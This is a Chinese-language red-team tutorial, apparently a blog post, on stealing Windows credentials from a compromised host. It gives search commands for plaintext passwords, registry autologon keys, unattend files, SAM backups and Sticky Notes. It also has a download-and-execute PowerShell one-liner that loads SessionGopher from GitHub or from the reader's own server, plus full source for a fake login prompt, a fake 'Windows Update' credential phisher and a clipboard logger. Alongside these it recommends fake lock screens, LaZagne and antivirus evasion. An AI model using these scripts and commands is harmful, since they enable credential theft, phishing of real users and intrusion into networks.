windows密码操作

1. 为什么需要获取目标的密码?

在红队行动中,获取密码通常不是为了"破解"而破解,而是为了突破当前的权限限制

  • 权限提升 :你当前可能只是一个普通的低权限用户(比如 User A),但你需要获取 AdministratorSYSTEM 权限才能执行关键操作。
  • 横向移动:这是红队最核心的战术之一。用户往往会"密码复用"(比如域账号密码和本地管理员密码一样)。你拿到这台机器的密码,可能就能用它登录域控服务器或其他核心业务服务器。
  • 维持权限:相比植入后门文件容易被杀毒软件查杀,利用合法的账号密码登录是最隐蔽的"后门"。

2. 获取密码有什么用?

结合书中的描述,主要用途如下:

  • 利用"明文"漏洞 :书中提到"很多人会将网站、邮件或应用程序的密码设置为同一个"。一旦你在某个不起眼的配置文件(如 .txt, .ini, .config)里找到了明文密码,这把钥匙可能打开整个内网的大门。
  • 免杀提权:通过收集到的密码,你可以尝试切换到高权限账户,从而绕过系统的安全限制。
  • 数据窃取:获取敏感数据的访问权,这是红队演练中模拟"数据泄露"的关键步骤。

基础通用搜索命令

1.1

这个命令用于在当前目录及其所有子目录中,搜索特定后缀文件里包含"password"关键词的内容。

findstr /S /I /N /M "password" *.txt *.xml *.ini *.config *.asp *.php *.jsp *.html

1.2针对特定敏感文件的搜索

1.3也可以组合关键词的形式搜索类似的词

findstr /S /I /N "password pwd passwd secret key" *.*

1.4在实战中,最好使用这个过滤下

findstr /S /I "password" *.txt 2>nul

国内很多系统管理员为了方便识别,习惯将配置文件里的字段或者文件名直接写成中文拼音(比如 mima、yonghu),或者直接使用中文汉字。

findstr /S /I /N "mima" *.txt *.ini *.config *.xml *.asp *.php

1.5当然,有时一些人也会直接使用中文的"密码"

findstr /S /I /N "密码 账号 用户" *.txt *.ini *.config *.xml

1.6搜索包含"连接字符串"的文件:findstr /S /I "connectionstring" *.config

搜索包含"数据源"或1"服务器地址"的行(往往紧跟账号密码):findstr /S /I "datasource server" *.config

有些管理员会直接把文件命名为 password.txt,这种属于"送分题"。

dir /s *password*

1.7阶段三:查看文件内容(拿结果)

type +"文件路径"

1.8阶段四,使用 PowerShell 搜索

文件夹路径看实际情况

1.9全盘搜索(当前盘符)Get-ChildItem -Path $PWD -Recurse -Force -ErrorAction SilentlyContinue -Include "*password*"

2.0使用 where 命令(推荐)

where /R C:\ *password*.txt

2.1使用for循环搜索(不推荐)太多了emm

for /r c:\ %i in (*.txt) do @echo %i

2.2. 在注册表中寻找密码

reg query HKCU /f password /t REG_SZ /s

2.3注册表中的自动登录密码

原理:
有些管理员为了服务器重启后能自动进入桌面,或者为了方便,会在注册表中配置自动登录。这就导致管理员账号和密码(有时是明文,有时是加密数据)直接保存在注册表里。

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

3.1无人值守文件

就是Windows系统安装时的"自动配置脚本"。管理员为了让几十台服务器自动安装系统,会把分区、激活码、网络设置,甚至管理员账号密码都写在这个脚本里。

目标文件:名字里带有 unattend(无人值守)或 sysprep(系统准备)的文件。

目标后缀:主要是 .xml 和 .inf 文件。

核心目的:这些文件是Windows系统批量安装时用的"自动配置脚本"。管理员为了省事,常把管理员密码写在里面。系统装好后,这些文件如果没被删除,就是巨大的安全隐患。. 实战检查命令

dir C:\Windows\Panther\Unattend*.xml C:\Windows\System32\sysprep\sysprep*.xml C:\Windows\Panther\Unattend\*.xml /s

如果发现文件,直接查看内容:type +文件路径

方法一:cmd命令强制搜索

dir /s C:\*sysprep.inf C:\*sysprep.xml C:\*unattended.xml C:\*unattend.xml C:\*unattend.txt 2>nul

方法二

PowerShell 高级搜索

Get-ChildItem -Path C:\ -Include *unattend*, *sysprep* -File -Recurse -ErrorAction SilentlyContinue

4.0SAM文件(需要admin权限)

什么是SAM文件?

定义:SAM是Windows用来存储本地用户账号密码哈希的数据库文件。

位置:

正在使用的文件:位于 %SystemRoot%\system32\config\SAM。这个文件在系统运行时是被锁定的,普通用户无法直接复制。

备份文件(重点):位于 C:\Windows\repair\SAM。这是系统早期安装或修复时留下的备份。如果管理员没有清理,这个文件通常是可以直接读取的!

获取这个文件(C:\Windows\repair\SAM)以及配套的 SYSTEM 文件,是拿下管理员密码的关键一步。

你可以直接运行下面这条命令,一次性检查这两个核心文件是否存在:

5.1Windows 自带的"便笺"(Sticky Notes)

别小看这个功能,很多管理员为了图方便,会把数据库密码、后台登录密码直接写在便笺上贴在桌面上。虽然看起来是"隐藏"的,但实际上这些数据是以明文或简单加密的形式保存在硬盘里的。

SQLite 数据库文件。

路径:

%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

怎么获取这个文件?

dir %LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

没有的话换这个路径

dir C:\plum.sqlite C:\StickyNotes.snt /s /b 2>nul

5.2然后是获取应用中的密码

两种主流的方法:SessionGopher(PowerShell 脚本)和 LaZagne(开源工具)

powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1'); Invoke-SessionGopher -Thorough"

如果网络不好就尝试上传然后执行

下载然后保存为ps1然后执行即可

raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1

建议保存在服务器然后内存加载执行

一行便捷命令

powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/123.ps1'); Invoke-SessionGopher -Thorough"

里面的路径替换为你的服务器路径即可

然后是第二种方法提取应用中的密码

使用LaZagne

发行作品 ·亚历山德罗兹/拉扎涅

直接从这里下载然后使用,按照readme使用即可

方便快捷,但是建议二开,下载的时候被拦截了很多次了,建议内存执行

PowerShell 历史记录查看

Get-Content (Get-PSReadlineOption).HistorySavePath

1. 凭据管理器是什么?

凭据管理器是 Windows 系统内置的一个"保险箱",专门用来安全地管理和存储用户的各种登录信息。

  • 它存什么? 用户名、密码、证书等。
  • 它分两类:
    • Web 凭据:主要用于存储网站(如 Edge 浏览器)的登录账号密码。
    • Windows 凭据:用于存储本地或网络资源的登录信息,包括自动登录凭据、基于证书的凭据、普通网络资源(如远程桌面、局域网共享文件夹)。

2. 它有什么用?为什么需要它?

  • 自动登录:当你再次访问某个网站、连接远程桌面或访问局域网共享时,系统会自动从凭据管理器中调取之前保存的账号密码,帮你自动登录,不用每次都手动输入。
  • 集中管理:所有保存的密码都集中存放在这里,方便用户统一查看、修改或删除。
  • 安全存储:这些密码是经过加密存储的,比记在记事本或纸上要安全得多。

直接win搜索凭据管理器即可

然后是命令行打开命令行方式(黑客/渗透常用)

打开 cmd 命令提示符。

输入命令:cmdkey /list

效果:直接在黑窗口里列出所有保存的凭据目标(Target)和用户名。这是在无法使用鼠标或远程 Shell 环境下最有用的命令。

cmdkey /delete:TargetName

cmdkey /add:TargetName /user:Username /pass:Password

直接利用github中的链接提取凭证

如何从 Windows 凭据管理器中提取保存的密码,特别是通过 PowerShell 脚本 Invoke-WCMDump 来实现。

peewpw/Invoke-WCMDump: PowerShell Script to dump Windows Credentials from the Credential Manager

但是运行的时候发现不兼容,这个毕竟时间长了emm

6.1利用 Windows 的 Linux 子系统(WSL)来提权或查看 Linux 下的敏感文件

where /R c:\windows bash.exe

然后进行一系列命令

但是我没有安装这个,Linux 的文件系统实际上就是存放在 Windows 硬盘里的。这给我们提供了一条"捷径"------即便无法通过 wsl 命令进入 Linux 环境,只要能在 Windows 里找到这个存储位置,就能直接读取里面的敏感文件(如 shadow)。

图片含义解析

6.1通过伪造电脑锁屏来诱骗用户获取密码

伪造锁屏本质上就是一场视觉欺骗。

  • 表象:它看起来和 Windows 系统原生的锁屏界面(就是按 Win+L 键后出现的那个界面)一模一样,有背景图、有用户头像、有密码输入框。
  • 真相 :它其实只是一个全屏运行的普通软件窗口。它并没有真的锁住电脑,后台原本打开的网页、文档都在正常运行,只是被这个假窗口盖住了而已。
  • 工具 :书中提到的 SharpLocker 就是专门用来干这件事的工具。它是一个用 .NET 语言编写的程序,体积小,运行快。

为什么

黑客为什么要费尽心思搞这个?因为这是获取密码最快、最简单的方法。

  • 绕过技术防御:现在的杀毒软件和防火墙很难拦截"用户主动输入密码"这个行为。
  • 利用心理盲区
    • 惯性思维:用户看到锁屏界面,下意识的反应就是"哦,锁屏了",然后输入密码,根本不会去想"这是不是假的"。
    • 时机巧妙:通常是在用户离开座位回来,或者黑客远程控制了电脑并触发了这个假界面时。
  • 比键盘记录器更稳:传统的键盘记录器(Keylogger)容易被杀毒软件查杀,而且记录下来的数据可能很乱(比如你按了退格键修改密码,记录器可能分不清)。而伪造锁屏直接拿到的是最终提交的字符串,准确率为 100%。

方式一

Pickfordmatt/SharpLocker

得编译很麻烦,不会所以换下一种方法

方式二

下载 FakeLogonScreen

Releases · bitsadmin/fakelogonscreen

https://release-assets.githubusercontent.com/github-production-release-asset/237661638/26c32600-46e5-11ea-837b-0bd305db7dec?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-05T15%3A49%3A09Z&rscd=attachment%3B+filename%3Dfakelogonscreen_trunk.zip&rsct=application%2Foctet-stream&skoid=96c2d410-5711-43a1-aedd-ab1947aa7ab0&sktid=398a6654-997b-47e9-b12b-9515b896b4de&skt=2026-05-05T14%3A48%3A10Z&ske=2026-05-05T15%3A49%3A09Z&sks=b&skv=2018-11-09&sig=NzxYrVgfGIUSjP2sJqSMth3DOtyl3YP8roqdY%2F7unuw%3D&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmVsZWFzZS1hc3NldHMuZ2l0aHVidXNlcmNvbnRlbnQuY29tIiwia2V5Ijoia2V5MSIsImV4cCI6MTc3Nzk5Mjc5MSwibmJmIjoxNzc3OTkyNDkxLCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZXQifQ.mJqHWG15FEZlgZWpkZCixSivzWTg1YEoPtq0pyTbQB4&response-content-disposition=attachment%3B%20filename%3Dfakelogonscreen_trunk.zip&response-content-type=application%2Foctet-stream

然后解除压缩后使用即可

然后提取到的密码在可以看到

建议配合 Cobalt Strike 等工具

然后是方式三,钓鱼方式获取LockPhish --- 锁屏钓鱼攻击 - Kali Linux 教程

jaykali/lockphish:Lockphish 是首个(2020年7月4日)用于锁屏钓鱼攻击的工具,设计用于通过 https 链接获取 Windows 凭证、Android PIN 码和 iPhone 密码。 但是这个只能运行在linux中,使用方法如下图,先解压然后使用

首次使用需要下载内网穿透工具,ngrok,因为没学到所以暂时不用这个

ngrok - 一行在线

7.1伪造登录框Invoke-LoginPrompt(建议二开,这个被查杀的很普遍)

Invoke-LoginPrompt/Invoke-LoginPrompt.ps1 at master ·enigma0x3/Invoke-LoginPrompt

下载后保存为ps1文件,然后尝试直接就行了,发现有兼容性问题

ai修复后的完整代码如下

<# .SYNOPSIS 修复版:Standalone Powershell script that will prompt the current user for valid credentials. Author: Matt Nelson (@enigma0x3) | Fixed by Assistant License: BSD 3-Clause #> # 定义函数 function Invoke-LoginPrompt { # --- 修复点 1:兼容 PowerShell v3+ 的参数传递 --- # 在 PowerShell v3+ 中,PromptForCredential 的第二个参数不能留空,必须传入字符串 # 原版代码中传入的是 "",在新版中会报错,必须传入类似 " " 的占位符 cred = Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "env:userdomain\\env:username", " ") username = "env:username" domain = "env:userdomain" full = "domain" + "\" + "username" password = cred.GetNetworkCredential().password # 加载验证组件 Add-Type -assemblyname System.DirectoryServices.AccountManagement DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) # 循环验证,直到输入正确密码 while(DS.ValidateCredentials("full", "password") -ne True){ # 提示错误并重新输入 cred = Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "env:userdomain\\env:username", " ") username = "env:username" domain = "env:userdomain" full = "domain" + "\" + "username" password = cred.GetNetworkCredential().password # 重新加载组件(虽然通常不需要重复加载,但为了逻辑清晰保留) Add-Type -assemblyname System.DirectoryServices.AccountManagement DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) # 验证(这一步其实可以省略,因为 while 条件里已经验证了) DS.ValidateCredentials("full", "password") \| out-null } # 输出结果 output = cred.GetNetworkCredential() \| select-object UserName, Domain, Password output } # --- 修复点 2:调用函数 --- # 原版代码缺少这一行,导致下载后执行没有反应 Invoke-LoginPrompt

执行后为

7.2

Nishang 框架中 Invoke-CredentialsPhish 的完整源代码(建议内存执行)

function Invoke-CredentialPhisher { # 加载必要的 .NET 类 Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # 创建通知图标 notify = New-Object System.Windows.Forms.NotifyIcon notify.Icon = [System.Drawing.SystemIcons]::WinLogo notify.Visible = true notify.BalloonTipIcon = \[System.Windows.Forms.TooltipIcon\]::Info notify.BalloonTipTitle = "Windows Update" notify.BalloonTipText = "Critical security update requires authentication." # 显示气泡通知 notify.ShowBalloonTip(3000) # 等待气泡出现 Start-Sleep -Seconds 2 do { # 弹出伪造的认证框 # 注意:这里我们只是模拟弹窗,实际并不验证密码对错 cred = Host.UI.PromptForCredential("Windows Security Update", "Please verify your account to complete the update.", "", "") if (cred) { # 提取密码 BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(cred.Password) PlainPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto(BSTR) # 【关键步骤】把密码打印到屏幕上! Write-Host "\[\*\] 捕获到凭证:" -ForegroundColor Green Write-Host " 用户名: (cred.UserName)" Write-Host " 密码: PlainPassword" Write-Host "----------------------------------------" # 释放内存 [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR(BSTR) } } while (true) # 无限循环,直到用户强制关闭 (Ctrl+C) } # 运行函数 Invoke-CredentialPhisher

经测试有效,不过这个会一直死循环的,后续改就行了

然后是方式三,这个更精确,推荐这个https://github.com/Dviros/CredsLeaker 这个需要有服务器才有效,具体看github上的readme。这里简短使用即可,建议方式二/方式一

8.0获取目标剪切板内容(ps不需要管理员权限)

Get-Clipboard

8.1直接使用powershell记录

定义一个日志文件路径,用来保存抓取到的内容(路径可以自定义,这里设为当前目录的 log.txt) LogPath = "PSScriptRoot\log.txt" # 定义一个函数,专门用来把内容写入日志文件 function Write-Log { param ( [string]Message ) # 获取当前时间 Time = Get-Date -Format "yyyy-MM-dd HH:mm:ss" # 组合时间和内容 Output = "\[Time] Message" # 将内容追加写入到日志文件中 Add-Content -Path LogPath -Value Output } # 初始化变量,用来记录上一次剪贴板的内容,防止重复记录 CurrentContent = "" # 开启无限循环,持续监控 while (true) { try { # 尝试获取剪贴板内容,-Raw 参数确保获取的是纯文本 NewContent = Get-Clipboard -Raw -ErrorAction Stop # 判断逻辑: # 1. 内容不为空 # 2. 内容长度大于2(防止复制单个字符就记录) # 3. 内容和上一次记录的不一样 if (NewContent -and NewContent.Length -gt 2 -and NewContent -ne CurrentContent) { # 调用写入日志函数 Write-Log -Message NewContent # 更新当前记录的内容,作为下一次对比的基准 CurrentContent = $NewContent } } catch { # 如果获取失败(比如剪贴板被图片占用),则忽略错误,继续循环 } # 暂停 1 秒钟再检查下一次,防止 CPU 占用过高 Start-Sleep -Seconds 1 }

这个是写入日志中,后续可以改为其他路径或者通过其他方式传递

9.0使用渗透框架获取-没有学到-暂时不写,后续可以学完powershell再说

10.0获取文件签名的github的

secretsquirrel/SigThief: Stealing Signatures and Making One Invalid Signature at a Time

11.0 获取浏览器的账号密码(已经保存的)

EdgeSavedPasswordsDumper/EdgeSavedPasswordsDumper at main · L1v1ng0ffTh3L4N/EdgeSavedPasswordsDumper

相关推荐
Royzst1 小时前
一、集合概述(前置基础)
开发语言·windows·python
时光追逐者1 小时前
一款基于 C# 开发的 Windows 10/11 系统增强工具,精简、优化、定制一站完成!
开发语言·windows·c#·.net
liuhuizuikeai2 小时前
菜品抽奖活动MFC+服务端
c++·windows·mfc
Kiling_07042 小时前
Java集合进阶:Collection与List详解
java·windows·list
Byron Loong2 小时前
【逆向】PE 解析器 / 加壳器 + 加壳步骤 + 手动脱壳思路
windows
康小汪2 小时前
IntelliJ IDEA 安装教程(Windows 版)
java·windows·intellij-idea
段ヤシ.2 小时前
回顾Java知识点,面试题汇总Day3(持续更新)
java·开发语言·windows
YJlio11 小时前
7.4.5 Windows 11 企业网络连接与网络重置实战:远程访问、本地策略与故障恢复
前端·chrome·windows·python·edge·机器人·django
猪哥-嵌入式11 小时前
在Windows 11上本地部署DeepSeek-R1 14B量化版:完整避坑指南(模型不占C盘+国内网络优化)
windows·ai